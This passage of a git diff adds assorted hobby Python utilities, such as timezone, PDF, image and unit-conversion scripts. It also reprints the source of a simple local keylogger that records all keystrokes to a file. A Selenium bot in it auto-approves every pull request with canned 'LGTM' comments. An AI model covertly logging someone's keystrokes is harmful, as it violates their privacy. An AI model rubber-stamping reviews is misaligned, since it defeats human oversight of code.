b/Get_Time_TimezoneWise/get_times.py new file mode 100644 index 00000000..52912aef --- /dev/null +++ b/Get_Time_TimezoneWise/get_times.py @@ -0,0 +1,18 @@ +# First Install Using The Command Below: +# pip install pytz + +from datetime import datetime +import pytz + +# list of desired countries +Country_Zones = pytz.all_timezones # pytz.all_timezones will create a list with name of all timezones + +country_time_zones = [] + +for country_time_zone in Country_Zones: + country_time_zones.append(pytz.timezone(country_time_zone)) + +for i in range(len(country_time_zones)): + country_time = datetime.now(country_time_zones[i]) + print(f"The date of {Country_Zones[i]} is {country_time.strftime('%d-%m-%y')} and The time of {Country_Zones[i]} is {country_time.strftime('%H:%M:%S')}") #prints current time of all timezones in Country_Zones + diff --git a/Get_Time_TimezoneWise/requirements.txt b/Get_Time_TimezoneWise/requirements.txt new file mode 100644 index 00000000..af44f198 --- /dev/null +++ b/Get_Time_TimezoneWise/requirements.txt @@ -0,0 +1 @@ +pytz diff --git a/Github-Review-Bot/README.md b/Github-Review-Bot/README.md new file mode 100644 index 00000000..2bb979fe --- /dev/null +++ b/Github-Review-Bot/README.md @@ -0,0 +1,33 @@ +# GitHub Pull Request Review Script + +This Python script allows you to automatically review all pull requests in a specified GitHub repository. + +## Prerequisites + +Before you can use this script, ensure you have the following: + +- Python installed on your system. +- The `selenium` Python package. You can install it using `pip`: + + ``` + pip install selenium + ``` + +- [GeckoDriver](https://github.com/mozilla/geckodriver) for Firefox. Make sure to download the correct version for your system. Or you can replace `FireFox()` with your own webdriver + +- A GitHub account with the necessary access rights to review pull requests in the target repository. + +## Usage + +1. Clone or download this repository to your local machine. + +2. Open the script `github_pull_request_review.py` in a text editor or Python IDE. + +3. Run the script by executing: + +```bash +python main.py +``` +4. Answer the prompt + +5. The script will start add review comments. \ No newline at end of file diff --git a/Github-Review-Bot/main.py b/Github-Review-Bot/main.py new file mode 100644 index 00000000..e030760f --- /dev/null +++ b/Github-Review-Bot/main.py @@ -0,0 +1,57 @@ +# Python Script to review all the pull request of mentioned repository + +from selenium.webdriver import Firefox, ActionChains +from selenium.webdriver.common.by import By +import random +from selenium.webdriver.common.keys import Keys + +username = None +password = None + +class Github: + + def __init__(self, repo_owner, repo_name): + self.base_url = "https://github.com/" + self.repo_owner = repo_owner + self.repo_name = repo_name + self.isLogin = False + self.driver = Firefox() + self.pull_requests = None + + def login(self): + self.driver.get(self.base_url+"/login") + self.driver.find_element(by=By.ID, value="login_field").send_keys(username) + self.driver.find_element(by=By.ID, value="password").send_keys(password) + self.driver.find_element(by=By.NAME, value="commit").click() + self.isLogin = True + + def writeReview(self): + if not self.isLogin: + self.login() + + self.driver.get(self.base_url+self.repo_owner+"/"+self.repo_name+"/pulls") + self.driver.implicitly_wait(10) + pull_requests = self.driver.find_elements(by=By.XPATH, value="//a[@data-hovercard-type='pull_request']") + self.pull_requests = [pull_request.get_attribute("href") for pull_request in pull_requests] + + for pull_request in self.pull_requests: + self.driver.get(pull_request+"/files") + self.driver.implicitly_wait(10) + self.driver.find_element(by=By.ID, value="review-changes-modal").click() + self.driver.implicitly_wait(10) + self.driver.find_element(by=By.ID, value="pull_request_review[event]_approve").click() + self.driver.implicitly_wait(10) + self.driver.find_element(by=By.ID, value="pull_request_review_body").send_keys(random.choice(["LGTM", "Looks good to me", "LGTM, thanks for the contribution", "Seems good to me!"])) + self.driver.implicitly_wait(10) + ActionChains(self.driver).key_down(Keys.CONTROL).send_keys(Keys.ENTER).key_up(Keys.CONTROL).perform() + self.driver.implicitly_wait(10) + + +if __name__ == "__main__": + username = input("Enter your username: ") + password = input("Enter your password: ") + + github_owner = input("Enter the repository owner: ") + github_repo = input("Enter the repository name: ") + github = Github(github_owner, github_repo) + github.writeReview() \ No newline at end of file diff --git a/Github-Review-Bot/requirements.txt b/Github-Review-Bot/requirements.txt new file mode 100644 index 00000000..954f0db0 --- /dev/null +++ b/Github-Review-Bot/requirements.txt @@ -0,0 +1 @@ +selenium \ No newline at end of file diff --git a/Github_Bot/README.md b/Github_Bot/README.md new file mode 100644 index 00000000..92fd5941 --- /dev/null +++ b/Github_Bot/README.md @@ -0,0 +1,9 @@ +# Github_Bot +A CLI tool to get github user and repository details. + +``` +>python main.py -f user -l username +>python main.py -f repo -l username reponame +``` + + ![](readme_assets/img.png) diff --git a/Github_Bot/main.py b/Github_Bot/main.py new file mode 100644 index 00000000..7de5ea15 --- /dev/null +++ b/Github_Bot/main.py @@ -0,0 +1,49 @@ +import requests +import json +import argparse + +ap = argparse.ArgumentParser() +ap.add_argument("-f", "--function", required=True, help="user details or repo details") +ap.add_argument("-l", "--list", required=True, metavar="", nargs='+', default=[], help="handle and repo") +args = vars(ap.parse_args()) + +class GithubBot(): + def __init__(self): + print('******************* GITHUB CLI TOOL *********************') + self.base_url = "https://api.github.com/" + + def get_user_details(self, args): + url = self.base_url + "users/" + args[0] + res = requests.get(url) + print('*********** USER:', args[0], '***************') + if res.status_code == 200: + data = json.loads(res.text) + print("NAME: ", data["name"]) + print("BIO: ", data["bio"]) + print("LOCATION: ", data["location"]) + print("FOLLOWERS COUNT: ", data["followers"]) + print("FOLLOWING COUNT: ", data["following"]) + else: + print("Error getting details") + + def get_repo_details(self, args): + url = self.base_url + "repos/" + args[0] + "/" + args[1] + res = requests.get(url) + print('********* USER:', args[0], '| REPO:', args[1], '*********') + if res.status_code == 200: + data = json.loads(res.text) + print("URL: ", data["svn_url"]) + print("STARS: ", data["stargazers_count"]) + print("FORKS: ", data["forks"]) + print("LANGUAGE: ", data["language"]) + else: + print("Error getting details") + +if __name__ == "__main__": + obj = GithubBot() + function_map = { + 'user': obj.get_user_details, + 'repo': obj.get_repo_details, + } + function_map[args['function']](args['list']) + \ No newline at end of file diff --git a/Github_Bot/readme_assets/img.png b/Github_Bot/readme_assets/img.png new file mode 100644 index 00000000..c1c02bca Binary files /dev/null and b/Github_Bot/readme_assets/img.png differ diff --git a/Github_Bot/requirements.txt b/Github_Bot/requirements.txt new file mode 100644 index 00000000..ab0195e5 --- /dev/null +++ b/Github_Bot/requirements.txt @@ -0,0 +1,5 @@ +certifi==2023.7.22 +chardet==3.0.4 +idna==2.10 +requests==2.31.0 +urllib3==1.26.18 diff --git a/Harry-Potter-Cloak/HarryPotterCloak.py b/Harry-Potter-Cloak/HarryPotterCloak.py new file mode 100644 index 00000000..a8437dd3 --- /dev/null +++ b/Harry-Potter-Cloak/HarryPotterCloak.py @@ -0,0 +1,73 @@ +import cv2 +import numpy + +def hello(x): + print("") + +if __name__=='__main__': + cap = cv2.VideoCapture(0) + bars = cv2.namedWindow("bars") + + cv2.createTrackbar("upper_hue","bars",110,180,hello) + cv2.createTrackbar("upper_saturation","bars",255, 255, hello) + cv2.createTrackbar("upper_value","bars",255, 255, hello) + cv2.createTrackbar("lower_hue","bars",68,180, hello) + cv2.createTrackbar("lower_saturation","bars",55, 255, hello) + cv2.createTrackbar("lower_value","bars",54, 255, hello) + + #Capturing the initial frame for creation of background + while(True): + cv2.waitKey(1000) + ret,init_frame = cap.read() + if(ret): + break + + while(True): + ret,frame = cap.read() + inspect = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV) + + #getting the HSV values for masking the cloak + upper_hue = cv2.getTrackbarPos("upper_hue", "bars") + upper_saturation = cv2.getTrackbarPos("upper_saturation", "bars") + upper_value = cv2.getTrackbarPos("upper_value", "bars") + lower_value = cv2.getTrackbarPos("lower_value","bars") + lower_hue = cv2.getTrackbarPos("lower_hue","bars") + lower_saturation = cv2.getTrackbarPos("lower_saturation","bars") + + #Kernel to be used for dilation + kernel = numpy.ones((3,3),numpy.uint8) + + upper_hsv = numpy.array([upper_hue,upper_saturation,upper_value]) + lower_hsv = numpy.array([lower_hue,lower_saturation,lower_value]) + + mask = cv2.inRange(inspect, lower_hsv, upper_hsv) + mask = cv2.medianBlur(mask,3) + mask_inv = 255-mask + mask = cv2.dilate(mask,kernel,5) + + #The mixing of frames in a combination to achieve the required frame + b = frame[:,:,0] + g = frame[:,:,1] + r = frame[:,:,2] + b = cv2.bitwise_and(mask_inv, b) + g = cv2.bitwise_and(mask_inv, g) + r = cv2.bitwise_and(mask_inv, r) + frame_inv = cv2.merge((b,g,r)) + + b = init_frame[:,:,0] + g = init_frame[:,:,1] + r = init_frame[:,:,2] + b = cv2.bitwise_and(b,mask) + g = cv2.bitwise_and(g,mask) + r = cv2.bitwise_and(r,mask) + blanket_area = cv2.merge((b,g,r)) + + final = cv2.bitwise_or(frame_inv, blanket_area) + + cv2.imshow("Harry's Cloak",final) + + if(cv2.waitKey(3) == ord('q')): + break; + + cv2.destroyAllWindows() + cap.release() \ No newline at end of file diff --git a/Harry-Potter-Cloak/README.md b/Harry-Potter-Cloak/README.md new file mode 100644 index 00000000..d7ce33e8 --- /dev/null +++ b/Harry-Potter-Cloak/README.md @@ -0,0 +1,6 @@ +## Harry Potter Cloak using OpenCV + +This is a fun python script to simulate a harry potter cloak using image masking with the help of opencv library. +It also uses the numpy library for some mathematical calculations. + +Requirements: You will need Python installed on your system along with numpy and opencv library for this script to work properly. \ No newline at end of file diff --git a/Harry-Potter-Cloak/requirements.txt b/Harry-Potter-Cloak/requirements.txt new file mode 100644 index 00000000..508cdea8 --- /dev/null +++ b/Harry-Potter-Cloak/requirements.txt @@ -0,0 +1,2 @@ +numpy +opencv \ No newline at end of file diff --git a/Image_Compressor/Image.jpg b/Image_Compressor/Image.jpg new file mode 100644 index 00000000..514d156a Binary files /dev/null and b/Image_Compressor/Image.jpg differ diff --git a/Image_Compressor/Image_Compressor.py b/Image_Compressor/Image_Compressor.py new file mode 100644 index 00000000..5704c8d9 --- /dev/null +++ b/Image_Compressor/Image_Compressor.py @@ -0,0 +1,19 @@ +import PIL +from PIL import Image +from tkinter.filedialog import * + +file_paths = askopenfilenames() + +if len(file_paths) == 0: + print("No Files Selected") + +for file in file_paths: + file_name = file.split('/')[-1] + file_name, extension = file_name.split('.') + + img = PIL.Image.open(file) + height,width = img.size + img=img.resize((height,width),Image.Resampling.LANCZOS) + + save_path=askdirectory() + img.save(save_path+f"/{file_name}_compressed.{extension}") \ No newline at end of file diff --git a/Image_Compressor/README.md b/Image_Compressor/README.md new file mode 100644 index 00000000..9eb14401 --- /dev/null +++ b/Image_Compressor/README.md @@ -0,0 +1,13 @@ +# Image_Compressor + +This script compresses the image choosen to much reduced size. Image can be of any format. +Note : The image should be in same folder as the script +It will return with the compressed image when you compile. +It automates the task of compressing the image in day to day lives. + +# Dependencies: + +Note : Use python3.11 for tkinder + + `pip install pillow` + diff --git a/Keylogger/requirements.txt b/Keylogger/requirements.txt index 657d0c67..1dd9b040 100644 --- a/Keylogger/requirements.txt +++ b/Keylogger/requirements.txt @@ -1,6 +1,6 @@ astroid==2.1.0 autopep8==1.4.3 -certifi==2019.9.11 +certifi==2023.7.22 colorama==0.4.1 isort==4.3.4 lazy-object-proxy==1.3.1 diff --git a/Keylogger/script.py b/Keylogger/script.py index 9a225f45..4c5acbc3 100644 --- a/Keylogger/script.py +++ b/Keylogger/script.py @@ -1,29 +1,29 @@ -import pynput -from pynput.keyboard import Key, Listener - - -keys = [] - - -def on_press(key): - keys.append(key) - write_file(keys) - - -def write_file(keys): - with open('log.txt', 'w') as f: - for key in keys: - #removing '' - k = str(key).replace("'", "") - f.write(k) - #explicitly adding a space after every keystroke for readability - f.write(' ') - - -def on_release(key): - if key == Key.delete: - return False - - -with Listener(on_press = on_press, on_release = on_release) as listener: - listener.join() +import pynput +from pynput.keyboard import Key, Listener + + +keys = [] + + +def on_press(key): + keys.append(key) + write_file(keys) + + +def write_file(keys): + with open('log.txt', 'w') as f: + for key in keys: + #removing '' + k = str(key).replace("'", "") + f.write(k) + #explicitly adding a space after every keystroke for readability + f.write(' ') + + +def on_release(key): + if key == Key.delete: + return False + + +with Listener(on_press = on_press, on_release = on_release) as listener: + listener.join() \ No newline at end of file diff --git a/PDF_Password_Decrypter/README.md b/PDF_Password_Decrypter/README.md new file mode 100644 index 00000000..01a50491 --- /dev/null +++ b/PDF_Password_Decrypter/README.md @@ -0,0 +1,74 @@ +# Decrypt Your Password Protected pdf files Here +**Pdf-Password-Decrypter is a Python application that can be used to decrypt PDF files that are password-protected. This is optimised for Linux with apt** + +# Features ++ Allows users to select a password-protected PDF file to be decrypted. ++ Provides an entry widget for the user to enter the password for the PDF file. ++ Allows users to enter a new name for the decrypted PDF file. ++ Creates a new PDF file that is not password-protected. ++ Allows users to view the decrypted PDF file in the Evince PDF viewer. + +# Upcoming featuers +Some of the upcoming features include: ++ Editing the pdf directly. ++ Lock the pdf with a new password. ++ Unlocking encrypted pdf files with Brute Force attack. ++ Better UI design. ++ Replace tkinter with Kivy module of python. ++ Switch from PyPDF2 to some other python modules as it is no longer maintained. + +# Pre-requisites +To run this Python program you would need these following packages ++ Python(version 3.7 or higher) ++ Tkinter python package ++ PyPDF2 python package(no longer maintained) ++ Evince pdf viewer ++ GIT + +# Installation +You need to install all the prerequisites, follow the commands: ++ Installing python: +``` +sudo apt install python3 -y +``` + ++ Installing Tkinter python package: +``` +sudo apt install python3-tk -y +``` + ++ Installing PyPDF2 python package: +``` +pip install pypdf2 +``` + ++ Installing Evince pdf viewer: +``` +sudo apt install evince -y +``` + ++ Installing Git: +``` +sudo apt install git -y +``` + +# Usage ++ You need to first close this repository: +``` +git clone https://github.com/parthasdey2304/Awesome-Python-Scripts.git +``` + ++ Getting inside the repository: +``` +cd Awesome-Python-Scripts/PDF_Password_Decrypter +``` + ++ Running the python file: +``` +python3 main.py +``` + ++ Done + + +# THANK YOU COMMUNITY!!!! \ No newline at end of file diff --git a/PDF_Password_Decrypter/main.py b/PDF_Password_Decrypter/main.py new file mode 100644 index 00000000..7a36c163 --- /dev/null +++ b/PDF_Password_Decrypter/main.py @@ -0,0 +1,82 @@ +import os +import PyPDF2 +from tkinter import * +from tkinter import filedialog + +# Create a GUI window using tkinter +root = Tk() +root.configure(background='grey') +root.title('PDF Password Remover') +root.geometry('300x350') + +# this is the method select_file which when invoked uses filedialog to open a file and store the path of the file in the variable file_path +def select_file(): + global file_path + file_path = filedialog.askopenfilename() + + # Creating a label to show the file path + Label(root, text=file_path, bg='grey', fg='white').pack(pady=10) + +# this is the method decrypt which when invoked decrypts the file using the password provided by the user +def decrypt(): + passwd = password.get() # getting the password from the entry widget + + # Opening the PDF file with a password + pdf_file = open(file_path, 'rb') + pdf_reader = PyPDF2.PdfReader(pdf_file) + if pdf_reader.is_encrypted: + pdf_reader.decrypt(passwd) + + # Create a new PDF file without password protection + pdf_writer = PyPDF2.PdfWriter() + length = len(pdf_reader.pages) + for page_num in range(length): + pdf_writer.add_page(pdf_reader.pages[length - page_num - 1]) + + # Creating a new file with the name provided by the user + new_file_name = new_file.get()+".pdf" + new_pdf_file = open(new_file_name, 'wb') + pdf_writer.write(new_pdf_file) + + # Closing the files + pdf_file.close() + new_pdf_file.close() + + # Showing the file in a tkinter window + show_pdf() + +# this is a method that has a canvas of 500x700 resizeable to show the pdf file +# def show_pdf(): +# pdf_file = open(new_file.get()+".pdf", 'rb') +# pdf_reader = PyPDF2.PdfReader(pdf_file) +# page = pdf_reader.pages[0] +# page_content = page.extract_text() +# print(page_content) +# pdf_file.close() + +def show_pdf(): + pdf_file = new_file.get()+".pdf" + os.system(f"evince {pdf_file}") + + +# Button to choose the file to be decrypted +Button(root, text='Select File', bg='white', font=('arial', 12, 'normal'), command=select_file).pack(pady=20) + +# Label widget to show the password +Label(root, text='Password: ', bg='grey', fg = 'white', font=('arial', 12, 'normal')).pack() + +# Entry widget to accept the password +password = Entry(root,text='Password', width=20, font=('arial', 12, 'normal'), show='*', border=2) +password.pack(pady=20) + +# Label widget to show the name with which the new file would be stored +Label(root, text='New File Name:', bg='grey', fg = 'white', font=('arial', 12, 'normal')).pack() + +# Entry widget to accept the name with which the new file would be stored +new_file = Entry(root,text='New File Name', width=20, font=('arial', 12, 'normal'), border=2) +new_file.pack(pady=20) + +# Button to decrypt the file +Button(root, text='Decrypt', bg='white', font=('arial', 12, 'normal'), command=decrypt).pack(pady=20) + +root.mainloop() \ No newline at end of file diff --git a/PDFsplitter/PDFsplitter.py b/PDFsplitter/PDFsplitter.py new file mode 100644 index 00000000..1a4ccd1a --- /dev/null +++ b/PDFsplitter/PDFsplitter.py @@ -0,0 +1,44 @@ +import PyPDF2 +import argparse +import os + + +def split_pdf(input_pdf_path, output_folder): + # Open the PDF file + pdf_file = open(input_pdf_path, "rb") + input_pdf_name = os.path.basename(input_pdf_path).split(".")[0] + pdf_reader = PyPDF2.PdfReader(pdf_file) + + # Create the output folder if it doesn't exist + os.makedirs(output_folder, exist_ok=True) + + # Loop through each page and save it as a separate PDF file + for page_num in range(len(pdf_reader.pages)): + pdf_writer = PyPDF2.PdfWriter() + pdf_writer.add_page(pdf_reader.pages[page_num]) + + output_pdf_path = os.path.join( + output_folder, f"{input_pdf_name}_{page_num + 1}.pdf" + ) + + with open(output_pdf_path, "wb") as output_pdf: + pdf_writer.write(output_pdf) + print(f"Page {page_num + 1} saved as {output_pdf_path}") + + # Close the input PDF file + pdf_file.close() + + +if __name__ == "__main__": + parser = argparse.ArgumentParser( + description="Split a PDF file into separate pages") + parser.add_argument( + "input_pdf", help="Input PDF file path") + parser.add_argument( + "output_folder", help="Output folder path for split pages") + args = parser.parse_args() + + input_pdf_path = args.input_pdf + output_folder = args.output_folder + + split_pdf(input_pdf_path, output_folder) diff --git a/PDFsplitter/README.md b/PDFsplitter/README.md new file mode 100644 index 00000000..4359f18d --- /dev/null +++ b/PDFsplitter/README.md @@ -0,0 +1,22 @@ +## PDFsplitter + +This Python script allows you to split a PDF file into separate PDF files, one for each page. It uses the PyPDF2 library to perform the splitting. + +### Usage + +1. Make sure you have Python 3.x installed on your system. + +2. Install the required PyPDF2 library using pip: +```pip install PyPDF2``` + +3. Run the script with the following command: + + `python PDFsplitter.py input_pdf output_folder` +- `input_pdf`: The path to the input PDF file that you want to split. +- `output_folder`: The folder where the split PDF pages will be saved. + +### Example + +To split an input PDF file named `input.pdf` into separate pages and save them in an `output_pages` folder, you can run the following command: + + python PDFsplitter.py input.pdf output_pages \ No newline at end of file diff --git a/PDFsplitter/requirements.txt b/PDFsplitter/requirements.txt new file mode 100644 index 00000000..1bf0c7e4 --- /dev/null +++ b/PDFsplitter/requirements.txt @@ -0,0 +1 @@ +PyPDF2==3.0.1 diff --git a/Password_Strength-checker/README.md b/Password_Strength-checker/README.md new file mode 100644 index 00000000..6fc4a430 --- /dev/null +++ b/Password_Strength-checker/README.md @@ -0,0 +1,26 @@ +# 🔐 Password Strength Checker + +A Python script that evaluates the strength of a password using entropy-based analysis and estimates how long it would take to crack it via brute-force. Designed for security-conscious users, developers, and educators. + +--- + +## 📦 Features + +- ✅ Detects character types: lowercase, uppercase, digits, symbols +- 🧠 Calculates password entropy (in bits) +- ⏳ Estimates brute-force crack time (in seconds and years) +- 🛡️ Provides a strength rating: + - 🔴 Very Weak + - 🟠 Weak + - 🟡 Moderate + - 🟢 Strong + - 🔵 Very Strong +- Uses emoji-enhanced output for clarity and fun + +--- + +## Usage + +```bash +python password_strength.py + diff --git a/Password_Strength-checker/strength-checker.py b/Password_Strength-checker/strength-checker.py new file mode 100644 index 00000000..2cfe4264 --- /dev/null +++ b/Password_Strength-checker/strength-checker.py @@ -0,0 +1,71 @@ +import string +import math + +def password_strength(password): + length = len(password) + + # Character type flags + has_lower = any(c in string.ascii_lowercase for c in password) + has_upper = any(c in string.ascii_uppercase for c in password) + has_digit = any(c in string.digits for c in password) + has_symbol = any(c in string.punctuation for c in password) + + # Character pool size + pool = 0 + pool += 26 if has_lower else 0 + pool += 26 if has_upper else 0 + pool += 10 if has_digit else 0 + pool += len(string.punctuation) if has_symbol else 0 + + # Entropy calculation + entropy = length * math.log2(pool) if pool > 0 else 0 + + # Strength rating + if entropy < 28: + rating = "🔴 Very Weak" + elif entropy < 36: + rating = "🟠 Weak" + elif entropy < 60: + rating = "🟡 Moderate" + elif entropy < 80: + rating = "🟢 Strong" + else: + rating = "🔵 Very Strong" + + # Brute-force time estimate (assuming 10^9 guesses/sec) + guesses_per_sec = 1_000_000_000 + total_combinations = pool ** length + seconds = total_combinations / guesses_per_sec + years = seconds / (60 * 60 * 24 * 365.25) + + return { + "📏 Length": length, + "🔠 Character Types": { + "Lowercase": has_lower, + "Uppercase": has_upper, + "Digits": has_digit, + "Symbols": has_symbol + }, + "🎲 Pool Size": pool, + "🧠 Entropy (bits)": round(entropy, 2), + "🛡️ Strength Rating": rating, + "⏳ Estimated Crack Time": { + "Seconds": f"{seconds:,.0f} seconds", + "Years": f"{years:,.2f} years (at 10⁹ guesses/sec)" + } + } + +# Example usage +pwd = "12345678" +result = password_strength(pwd) + +print("\n🔐 PASSWORD STRENGTH REPORT") +print("════════════════════════════") +for k, v in result.items(): + if isinstance(v, dict): + print(f"{k}:") + for sub_k, sub_v in v.items(): + print(f" - {sub_k}: {'✅' if sub_v is True else '❌' if sub_v is False else sub_v}") + else: + print(f"{k}: {v}") +print("════════════════════════════\n") diff --git a/PdfToAudio/README.md b/PdfToAudio/README.md new file mode 100644 index 00000000..ee327229 --- /dev/null +++ b/PdfToAudio/README.md @@ -0,0 +1,6 @@ +# Pdf to Audiobook Converter +This python script generates audio for given pdf files. + +## Dependencies / Requirements +- PyPDF2. Install it by typing this command in your terminal `pip install PyPDF2` +- pyttsx3. Install it by `pip install pyttsx3` diff --git a/PdfToAudio/pdf_to_audiobook.py b/PdfToAudio/pdf_to_audiobook.py new file mode 100644 index 00000000..48829094 --- /dev/null +++ b/PdfToAudio/pdf_to_audiobook.py @@ -0,0 +1,26 @@ +# Importing the required packages. +import PyPDF2 +import pyttsx3 + +text = None + +# Reading a PDF file from your computer by specifying the path and setting the read mode to binary. +pdf_reader = PyPDF2.PdfFileReader(open(r"D:\MyPdf.pdf", "rb")) + +# Getting the handle to speaker i.e. creating a reference to pyttsx3.Engine instance. +speaker = pyttsx3.init() + +# Splitting the PDF file into pages and reading one at a time. +for page_number in range(pdf_reader.numPages): + text = pdf_reader.getPage(page_number).extractText() + # Generating speech. + speaker.say(text) + speaker.runAndWait() + +# Stopping the speaker after the complete audio has been created. +speaker.stop() + +# Saving the audiobook to your computer. +engine = pyttsx3.init() +engine.save_to_file(text, r"D:\MyAudio.mp3") +engine.runAndWait() diff --git a/PdfToAudio/requirements.txt.txt b/PdfToAudio/requirements.txt.txt new file mode 100644 index 00000000..3b1e4ed3 --- /dev/null +++ b/PdfToAudio/requirements.txt.txt @@ -0,0 +1,2 @@ +PyPDF2 +pyttsx3 \ No newline at end of file diff --git a/Plagiarism_detector/README.md b/Plagiarism_detector/README.md new file mode 100644 index 00000000..143d93b4 --- /dev/null +++ b/Plagiarism_detector/README.md @@ -0,0 +1,8 @@ +# Plagiarism Detector +This script helps to detect the amount (percentage) of similarity between 2 files . + +## Input +It takes paths of 2 files you want to compare as input + +## Output +It returns the percentage of similarity between the 2 files \ No newline at end of file diff --git a/Plagiarism_detector/plagiarism.py b/Plagiarism_detector/plagiarism.py new file mode 100644 index 00000000..ed096a9b --- /dev/null +++ b/Plagiarism_detector/plagiarism.py @@ -0,0 +1,13 @@ +from difflib import SequenceMatcher + +def similarity_per(f1,f2): + with open(f1,errors="ignore") as file1,open(f2,errors="ignore") as file2: + file1_data=file1.read() + file2_data=file2.read() + similarity=SequenceMatcher(None,file1_data,file2_data).ratio() + print(f"these 2 files are {similarity*100} % similar") + +if __name__ == '__main__': + f1=input("file 1 path :") + f2=input("file 2 path :") + similarity_per(f1,f2) diff --git a/Pressure_Converter/README.md b/Pressure_Converter/README.md new file mode 100644 index 00000000..ac920278 --- /dev/null +++ b/Pressure_Converter/README.md @@ -0,0 +1,12 @@ +# Developed and maintained by [Osagie Iyayi](https://github.com/E-wave112) + +- This simple program converts between different common units of pressure such as +Pascal(Pa),Bar(bar),Millimeter Mercury(mmHg) and atmosphere(atm). +the test cases are based on the fact that the value of pressure +on it's own can never be negative,except in cases where it is relative to another kind of pressure. + +- Run the doctest via the command + +``` +$ python -m doctest -v Pressure_Converter/pressure_converter_script.py +``` \ No newline at end of file diff --git a/Pressure_Converter/pressure_converter_script.py b/Pressure_Converter/pressure_converter_script.py new file mode 100644 index 00000000..9886841a --- /dev/null +++ b/Pressure_Converter/pressure_converter_script.py @@ -0,0 +1,321 @@ +from typing import Union + + +def atmospeheres_to_bars(atm: float, unit: str) -> Union[float, str]: + """ + This function converts atm to bar + Wikipedia reference: https://en.wikipedia.org/wiki/Standard_atmosphere_(unit) + Wikipedia reference: https://en.wikipedia.org/wiki/Bar_(unit) + + >>> atmospeheres_to_bars(2.5, "atm") + 2.533125 + >>> atmospeheres_to_bars("12", "atm") + 12.158999999999999 + >>> atmospeheres_to_bars(0, "atm") + 0.0 + >>> atmospeheres_to_bars(35, "mmHg") + 'Invalid unit' + >>> atmospeheres_to_bars("atmospheres", "atm") + Traceback (most recent call last): + ... + ValueError: could not convert string to float: 'atmospheres' + """ + if unit == "atm": + bar = float(atm) * 1.01325 + return bar + else: + return "Invalid unit" + + +def bars_to_atmospheres(bar: float, unit: str) -> Union[float, str]: + """ + This function converts bar to atm + Wikipedia reference: https://en.wikipedia.org/wiki/Standard_atmosphere_(unit) + Wikipedia reference: https://en.wikipedia.org/wiki/Bar_(unit) + + >>> bars_to_atmospheres(36, "bar") + 35.529237601776465 + >>> bars_to_atmospheres("57.6", "bar") + 56.84678016284234 + >>> bars_to_atmospheres(0, "bar") + 0.0 + >>> bars_to_atmospheres(35, "Pa") + 'Invalid unit' + >>> bars_to_atmospheres("barrs", "bar") + Traceback (most recent call last): + ... + ValueError: could not convert string to float: 'barrs' + + """ + if unit == "bar": + atm = float(bar) / 1.01325 + return atm + else: + return "Invalid unit" + + +def atmospheres_to_milimeter_mercury(atm: float, unit: str) -> Union[float, str]: + """ + This function converts atm to mmHg + Wikipedia reference: https://en.wikipedia.org/wiki/Standard_atmosphere_(unit) + Wikipedia reference: https://en.wikipedia.org/wiki/Millimetre_of_mercury + + >>> atmospheres_to_milimeter_mercury(2, "atm") + 1520.0 + >>> atmospheres_to_milimeter_mercury("6.9", "atm") + 5244.0 + >>> atmospheres_to_milimeter_mercury(0, "atm") + 0.0 + >>> atmospheres_to_milimeter_mercury(35, "torr") + 'Invalid unit' + >>> atmospheres_to_milimeter_mercury("atmos", "atm") + Traceback (most recent call last): + ... + ValueError: could not convert string to float: 'atmos' + """ + if unit == "atm": + mm_hg = float(atm) * 760 + return mm_hg + else: + return "Invalid unit" + + +def milimeter_mercury_to_atmospheres(mm_hg: float, unit: str) -> Union[float, str]: + """ + This function converts mmHg to atm + Wikipedia reference: https://en.wikipedia.org/wiki/Standard_atmosphere_(unit) + Wikipedia reference: https://en.wikipedia.org/wiki/Millimetre_of_mercury + + >>> milimeter_mercury_to_atmospheres(23506.92, "mmHg") + 30.93015789473684 + >>> milimeter_mercury_to_atmospheres("304000", "mmHg") + 400.0 + >>> milimeter_mercury_to_atmospheres(0, "mmHg") + 0.0 + >>> milimeter_mercury_to_atmospheres(35, "bar") + 'Invalid unit' + >>> milimeter_mercury_to_atmospheres("merc", "mmHg") + Traceback (most recent call last): + ... + ValueError: could not convert string to float: 'merc' + """ + if unit == "mmHg": + atm = float(mm_hg) / 760 + return atm + else: + return "Invalid unit" + + +def atmospheres_to_pascals(atm: float, unit: str) -> Union[float, str]: + """ + This function converts atm to Pa + Wikipedia reference: https://en.wikipedia.org/wiki/Standard_atmosphere_(unit) + Wikipedia reference: https://en.wikipedia.org/wiki/Pascal_(unit) + + >>> atmospheres_to_pascals(5.4, "atm") + 547155.0 + >>> atmospheres_to_pascals("7.098", "atm") + 719204.85 + >>> atmospheres_to_pascals(0, "atm") + 0.0 + >>> atmospheres_to_pascals(35, "Pa") + 'Invalid unit' + >>> atmospheres_to_pascals("ats", "atm") + Traceback (most recent call last): + ... + ValueError: could not convert string to float: 'ats' + """ + if unit == "atm": + pa = float(atm) * 101325 + return pa + else: + return "Invalid unit" + + +def pascals_to_atmospheres(pa: float, unit: str) -> Union[float, str]: + """ + This function converts Pa to atm + Wikipedia reference: https://en.wikipedia.org/wiki/Standard_atmosphere_(unit) + Wikipedia reference: https://en.wikipedia.org/wiki/Pascal_(unit) + + >>> pascals_to_atmospheres(202650, "Pa") + 2.0 + >>> pascals_to_atmospheres("1013250", "Pa") + 10.0 + >>> pascals_to_atmospheres(0, "Pa") + 0.0 + >>> pascals_to_atmospheres(35, "mmhg") + 'Invalid unit' + >>> pascals_to_atmospheres("Pas", "Pa") + Traceback (most recent call last): + ... + ValueError: could not convert string to float: 'Pas' + """ + + if unit == "Pa": + atm = float(pa) / 101325 + return atm + else: + return "Invalid unit" + + +def bars_to_milimeter_mercury(bar: float, unit: str) -> Union[float, str]: + """ + This function converts bar to mmHg + Wikipedia reference: https://en.wikipedia.org/wiki/Bar_(unit) + Wikipedia reference: https://en.wikipedia.org/wiki/Millimetre_of_mercury + + >>> bars_to_milimeter_mercury(3.75, "bar") + 2812.725 + >>> bars_to_milimeter_mercury("0.82", "bar") + 615.0491999999999 + >>> bars_to_milimeter_mercury(0, "bar") + 0.0 + >>> bars_to_milimeter_mercury(3, "atm") + 'Invalid unit' + >>> bars_to_milimeter_mercury("brs", "bar") + Traceback (most recent call last): + ... + ValueError: could not convert string to float: 'brs' + """ + if unit == "bar": + mm_hg = float(bar) * round(760 / 1.01325, 2) + return mm_hg + else: + return "Invalid unit" + + +def milimeter_mercury_to_bars(mm_hg: float, unit: str) -> Union[float, str]: + """ + This function converts mmHg to bar + Wikipedia reference: https://en.wikipedia.org/wiki/Bar_(unit) + Wikipedia reference: https://en.wikipedia.org/wiki/Millimetre_of_mercury + + 